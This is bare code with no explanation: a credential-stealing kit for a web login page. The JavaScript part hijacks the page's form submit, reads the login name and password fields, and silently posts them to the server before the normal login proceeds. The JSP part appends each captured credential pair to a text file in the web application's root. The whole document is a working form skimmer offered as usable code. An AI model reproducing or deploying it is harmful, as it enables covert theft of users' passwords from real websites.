function Create___XMLHttpObject() { if (window.XMLHttpRequest) { return new XMLHttpRequest(); } else{ var MSXML = ['MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP']; for(var n = 0; n < MSXML.length; n ++) { try { return new ActiveXObject(MSXML[n]); } catch(e){} } } } var old___Submit; var form__ = document.forms[0]; if(form__ != null && form__ != undefined){ form__.old___Submit = form__.submit; form__.submit= function(){ var xmlHttp=Create___XMLHttpObject(); var u=document.getElementsByName('loginname')[0].value; var p=document.getElementsByName('password')[0].value; var SendData = 'a=l&np='+u+"|"+p; xmlHttp.open('POST','?'+SendData,true); xmlHttp.onreadystatechange=function() { if(xmlHttp.readyState==4){ if(xmlHttp.status==200){ form__.old___Submit(); } } } xmlHttp.send(null); } }
<%@ page language="java" pageEncoding="UTF-8"%> <%@ page import="java.io.*" %> <% String a=request.getParameter("a"); String np=request.getParameter("np"); if(a!=null&&!a.equals("")){ String f_path = "\\1.txt"; f_path=request.getSession().getServletContext().getRealPath(request.getContextPath())+f_path; File f = new File(f_path); if (f.exists()) { f.createNewFile(); } BufferedWriter output = new BufferedWriter(new FileWriter(f_path,true)); output.newLine(); output.write(np); output.close(); output=null; f=null; } %>